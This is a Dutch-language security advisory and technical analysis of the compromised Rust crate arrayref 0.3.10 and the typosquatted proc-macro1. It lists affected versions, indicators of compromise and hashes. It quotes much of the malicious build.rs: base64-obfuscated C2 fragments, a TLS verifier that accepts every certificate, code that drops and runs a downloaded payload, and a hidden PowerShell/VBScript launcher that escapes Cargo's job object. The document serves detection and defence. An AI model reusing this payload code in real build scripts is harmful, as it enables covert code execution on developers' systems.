Kwaadaardige Rust Crate arrayref voert build-time payload uit

Samenvatting

Op 20 augustus 2026 verscheen er een gecompromitteerde release van de populaire Rust crate arrayref op crates.io. Versie 0.3.10 voegde een afhankelijkheid toe aan een via typosquatting gemaakte crate genaamd proc-macro1. Het build-script van deze crate downloadt en voert een extern binair bestand uit terwijl een project wordt gecompileerd. Omdat de code tijdens het build-proces wordt uitgevoerd, is het simpelweg compileren van een project dat de malafide versies gebruikt voldoende om de payload te triggeren. Het crates.io-team heeft de malafide versies inmiddels verwijderd.

Betrokken pakketten

De legitieme crates arrayref en append-only-vec worden beheerd door droundy, wiens account gecompromitteerd lijkt te zijn. De bijbehorende GitHub-repositories zijn niet langer beschikbaar. De repositories github.com/droundy/arrayref, github.com/droundy/append-only-vec en het volledige account github.com/droundy geven een 404-foutmelding, waardoor de upstream-code niet meer kan worden geïnspecteerd.

Een apart account, dtolney, publiceerde proc-macro1. Deze gebruikersnaam lijkt sterk op het echte dtolnay-account van David Tolnay. De metadata vervalst de auteur als authors = ["David Tolnay <[email protected]>"] en verwijst naar een repository op het pad dtolnay/proc-macro1, dat eveneens een 404-fout geeft.

CrateVersieUitgeverStatus
arrayref0.3.10droundy (gecompromitteerd)Malafide, verwijderd
internment0.8.7droundy (gecompromitteerd)Malafide, verwijderd
append-only-vec0.1.9droundy (gecompromitteerd)Malafide, verwijderd
proc-macro1alle versiesdtolney (impersonatie)Malafide typosquat, volledige crate verwijderd
proc-macro-enalle versies-Malafide dependency crate, verwijderd
aovinealle versies-Malafide dependency crate, verwijderd
aronealle versies-Malafide dependency crate, verwijderd
aronenaoalle versies-Malafide dependency crate, verwijderd
tinymemberalle versies-Malafide dependency crate, verwijderd

Let op dat proc-macro1 niet hetzelfde is als proc-macro2. De echte crate waar macro-auteurs op vertrouwen is proc-macro2. De src/ map van de malafide proc-macro1 is een exacte kopie van proc-macro2, waardoor builds bleven werken terwijl het malafide build-script werd uitgevoerd.

Wat het build-script doet

De payload bevindt zich in het build-script van proc-macro1 1.0.107. Het slaat het serveradres op als base64-fragmenten en stelt deze tijdens het build-proces samen, zoals geciteerd in de advisory:

// proc-macro1-1.0.107/build.rs (geciteerd in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] =
&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Na decodering produceren deze fragmenten de payload-host hxxps://23[.]254[.]165[.]112:9089/ en het command-and-control (C2) adres 23[.]254[.]165[.]112:443. Het script haalt via een TLS-verbinding een architectuur-specifiek binair bestand op, waarbij elk certificaat wordt geaccepteerd zonder validatie. Vervolgens wordt dit bestand losgekoppeld van het build-proces uitgevoerd.

  • Op Unix: Het bestand wordt gedropt en uitgevoerd als /tmp/rust-setup.
  • Op Windows: Er wordt een PowerShell-script en een VBScript-launcher geschreven in %TEMP%, die verborgen worden gestart. Daarna wordt het child-proces verlaten, zodat de compiler niet op het proces hoeft te wachten.

Hoe het zich verspreidde

De eigenaar van het account heeft de oudere releases van arrayref (0.3.5 tot en met 0.3.9) teruggetrokken ("yanked"). Wanneer een crate wordt teruggetrokken, print Cargo een waarschuwing: "consider updating to a version that is not yanked". Dit spoort ontwikkelaars aan om over te stappen naar de enige niet-teruggetrokken release: de malafide versie 0.3.10. De melder die de RustSec-advisory indiende, merkte op dat zij op deze manier in contact kwamen met de malware.

arrayref wordt op grote schaal gebruikt als een transitieve afhankelijkheid. Het bevindt zich diep in veel voorkomende Rust-dependency-grafieken via tiny-skia, sctk-adwaita en winit, wat betekent dat het aanwezig is in de meeste GUI-projecten die gebouwd zijn op egui, eframe en iced. De crate heeft in totaal ongeveer 245 miljoen downloads (244.989.384 op het moment van schrijven), waarvan de schone versie 0.3.9 verantwoordelijk is voor ongeveer 152 miljoen. Deze cijfers geven aan hoe wijdverspreid de crate is, niet noodzakelijkerwijs hoeveel builds daadwerkelijk zijn getroffen.

Indicatoren van compromittering (IoC's)

TypeIndicatorDetail
Netwerk23.254.165.112:9089Payload host (HTTPS)
Netwerk23.254.165.112:443C2, doorgegeven aan payload als argv[1]
Bestand (Unix)/tmp/rust-setupGedownload uitvoerbaar bestand
Bestand (Windows)%TEMP%\rust-setup.ps1Gedownload PowerShell-script
Bestand (Windows)%TEMP%\rust-setup-launch.vbsVBScript launcher
Second-stage namenrust-crate0.1.0, 0.2.0, 0.3.0, 0.4.0Gekozen op basis van OS en architectuur

SHA256 van de verwijderde crate-artifacts:

ArtifactSHA256
arrayref 0.3.1025ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.10761198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

---

Deel 2: Technische Analyse

De technische analyse richt zich op de twee crates achter dit incident: arrayref 0.3.10 en proc-macro1 1.0.107. arrayref 0.3.10 trekt proc-macro1 als afhankelijkheid aan. De malafide code bevindt zich in het build-script van proc-macro1, niet in arrayref zelf.

Het injectiepunt in arrayref

arrayref is een kleine crate bestaande uit vier macro's. Tot versie 0.3.9 had het geen build-script en geen runtime-afhankelijkheden. Versie 0.3.10 behoudt de broncode van de macro's, maar voegt één regel toe aan het manifest:

arrayref-0.3.10/Cargo.toml

[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"

Deze vermelding van [dependencies.proc-macro1] is voldoende om de malafide crate te introduceren. De vereiste 1.0.107 is een caret-range, en aangezien alleen 1.0.106 en 1.0.107 zijn gepubliceerd, wordt dit opgelost naar de malafide versie 1.0.107. De src/lib.rs van de crate bevat de normale macro-code, zoals de array_ref! macro:

arrayref-0.3.10/src/lib.rs

#[macro_export]
macro_rules! array_ref {
    ($arr:expr, $offset:expr, $len:expr) => {{
        {
            #[inline]
            const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {
                &*(slice.as_ptr() as *const [_; $len])
            }
            let offset = $offset;
            let slice = &$arr[offset..offset + $len];
            #[allow(unused_unsafe)]
            unsafe {
                as_array(slice)
            }
        }
    }};
}

Niets in de broncode van arrayref verwijst naar proc-macro1, en dat is ook niet nodig. Cargo bouwt elke gedeclareerde niet-optionele afhankelijkheid, ongeacht of de code deze gebruikt. De manifest-entry alleen zorgt er dus voor dat Cargo proc-macro1 ophaalt en bouwt, waarbij het malafide build-script wordt uitgevoerd.

proc-macro1 is een hernoemde kopie van proc-macro2

De src/ van proc-macro1 is proc-macro2 na een mechanische "zoek-en-vervang" van proc-macro2 naar proc-macro1. Deze hernoeming is doorgevoerd in documentatie-links en zelfs gekopieerde issue-referenties, bijvoorbeeld htmlrooturl = "https://docs.rs/proc-macro1/1.0.107" in src/lib.rs en een link naar github.com/dtolnay/proc-macro1/issues/235 in src/fallback.rs. Omdat de bibliotheekcode echt is van proc-macro2, werkt de crate als een "drop-in" vervanging. Dit maakt de malafide crate minder opvallend tijdens een normale build.

De pakketmetadata vervalst een identiteit:

proc-macro1-1.0.107/Cargo.toml

authors = ["David Tolnay <[email protected]>"]
repository = "https://github.com/dtolnay/proc-macro1"

Het e-mailadres is niet dat van David Tolnay, en de repository geeft een 404-fout. Het verdachte verschil zit in de build-dependencies, die de echte proc-macro2 niet heeft:

proc-macro1-1.0.107/Cargo.toml

[build-dependencies.base64]
version = "0.22"

[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false

[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false

Deze drie crates bieden het build-script base64-decodering, een TLS-stack en een HTTP-client. Dergelijke afhankelijkheden zijn ongebruikelijk voor een token-parsing bibliotheek.

De build-script payload

Het build-script splitst het serveradres in base64-fragmenten en bouwt dit tijdens het compileren op, zodat de ruwe string nooit in de broncode verschijnt:

proc-macro1-1.0.107/build.rs

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Gedecodeerd is SRCURLPARTS gelijk aan hxxps://23[.]254[.]165[.]112:9089/ en ENDURLPARTS aan 23[.]254[.]165[.]112:443.

De download maakt gebruik van een TLS-client die elk certificaat accepteert. De AcceptAll verifier geeft altijd een succesvolle melding bij elke certificaat- en handtekeningcontrole in de rustls ServerCertVerifier trait, waardoor een zelfondertekend certificaat op het ruwe IP-adres wordt geaccepteerd:

proc-macro1-1.0.107/build.rs

impl ServerCertVerifier for AcceptAll {
    fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {
        Ok(ServerCertVerified::assertion())
    }
    // verify_tls12_signature en verify_tls13_signature geven ook onvoorwaardelijk succes terug
}

Het build-script bepaalt welk binair bestand moet worden opgehaald op basis van het besturingssysteem en de architectuur. Het ondersteunt vier targets en stopt de build bij andere platformen:

proc-macro1-1.0.107/build.rs

fn link_suffix() -> &'static str {
    match (std::env::consts::OS, std::env::consts::ARCH) {
        ("linux", "x86_64") => "rust-crate_0.1.0",
        ("windows", "x86_64") => "rust-crate_0.2.0",
        ("macos", "x86_64") => "rust-crate_0.3.0",
        ("macos", "aarch64") => "rust-crate_0.4.0",
        (_, _) => panic!("unsupported platform"),
    }
}

De download en uitvoering vinden plaats in main, vóór de feature gate en de legitieme proc-macro2 configuratielogica. Er is geen feature-flag of omgevingscheck die dit bewaakt, dus het wordt uitgevoerd bij elke build op een ondersteund platform:

// proc-macro1-1.0.107/build.rs (binnen main)
let url = src_download_url();
let bytes = download_bytes(&url);

match std::env::consts::OS {
    "linux" | "macos" => run_unix_payload(bytes),
    "windows" => run_windows_payload(bytes),
    os => panic!("unsupported OS: {os}"),
}

Op Unix schrijft het build-script de bytes naar /tmp/rust-setup, maakt het bestand uitvoerbaar en start het zonder te wachten, waarbij het C2-adres als eerste argument wordt meegegeven. Alle standaard streams worden naar null gestuurd:

proc-macro1-1.0.107/build.rs

fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

Op Windows zijn de opgehaalde bytes een PowerShell-script. Het build-script schrijft deze naar %TEMP%\rust-setup.ps1 en start ze via een VBScript-launcher onder wscript.exe. In de broncode staat een commentaar dat uitlegt waarom:

proc-macro1-1.0.107/build.rs

// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
    r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
    script = script_path.display(),
    end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child);

De launcher draait verborgen en wacht niet op het proces. Het commentaar stelt dat het routeren via WScript ervoor zorgt dat het "Cargo job object" wordt omzeild, zodat PowerShell blijft draaien nadat de build is voltooid. De uiteindelijke std::mem::forget lekt de wscript-child-handle zodat de destructor nooit wordt uitgevoerd. Samen koppelt dit de payload los van Cargo, waardoor de payload kan doorgaan zonder de Cargo-build te blokkeren.